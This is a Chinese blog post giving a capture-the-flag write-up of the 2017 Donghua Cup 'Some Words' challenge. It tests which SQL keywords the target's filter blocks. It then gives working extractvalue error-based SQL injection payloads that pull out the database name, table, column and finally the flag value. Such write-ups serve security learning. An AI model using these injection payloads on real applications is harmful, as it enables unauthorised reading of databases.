美文网首页
SQL注入--Some Words(东华杯2017-100分)

SQL注入--Some Words(东华杯2017-100分)

作者: ch3ckr | 来源:发表于2017-12-07 14:35 被阅读20次

    题目地址:http://e56bba37f2d748e1ae07ef0f1adc95fd43f0f7f45a9c41cb.game.ichunqiu.com/index.php?id=1
    题目界面如下:

    看参数基本猜测是一个注入。
    下面进行测试:

    • id=1,返回“Hello Hacker!! ”,id=2,返回“Hello Guy! ”,其他不返回
    • id=1',返回“stupid hacker233”,说明拦截单引号
    • id=2 or 1,返回“Hello Hacker!! ”,说明放行空格,or
    • id=2 or (select 1),返回“Hello Hacker!! ”,说明放行select
    • 其他关键词的测试同上(测试完毕之后可以确定有哪些方法进行注入)

    发现拦截了group_concat,=,union,and,updatexml等关键字,但select,逗号,mid,from,ascii,extractvalue等关键字没有拦截,可以运用运算符进行bool盲注。

    这里我们使用报错注入更为便捷。
    查库(words):

    ?id=0 or extractvalue(1,concat(0x7e,(select database()),0x7e))
    

    查表(f14g):

    ?id=0 or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema like "words" limit 0,1),0x7e))
    

    查列(f14g):

    ?id=0 or extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name like "f14g" limit 0,1),0x7e))
    

    查内容(flag{10195b01-7be4-45bd-bcc4-415d433257ec}):

    ?id=0 or extractvalue(1,concat(0x7e,(select f14g from f14g),0x7e))#爆出前31位:flag{10195b01-7be4-45bd-bcc4-41
    ?id=0 or extractvalue(1,concat(0x7e,(mid((select f14g from f14g),32,20)),0x7e))#爆出后11位:5d433257ec}
    

    相关文章

      网友评论

          本文标题:SQL注入--Some Words(东华杯2017-100分)

          本文链接:https://www.haomeiwen.com/subject/luydixtx.html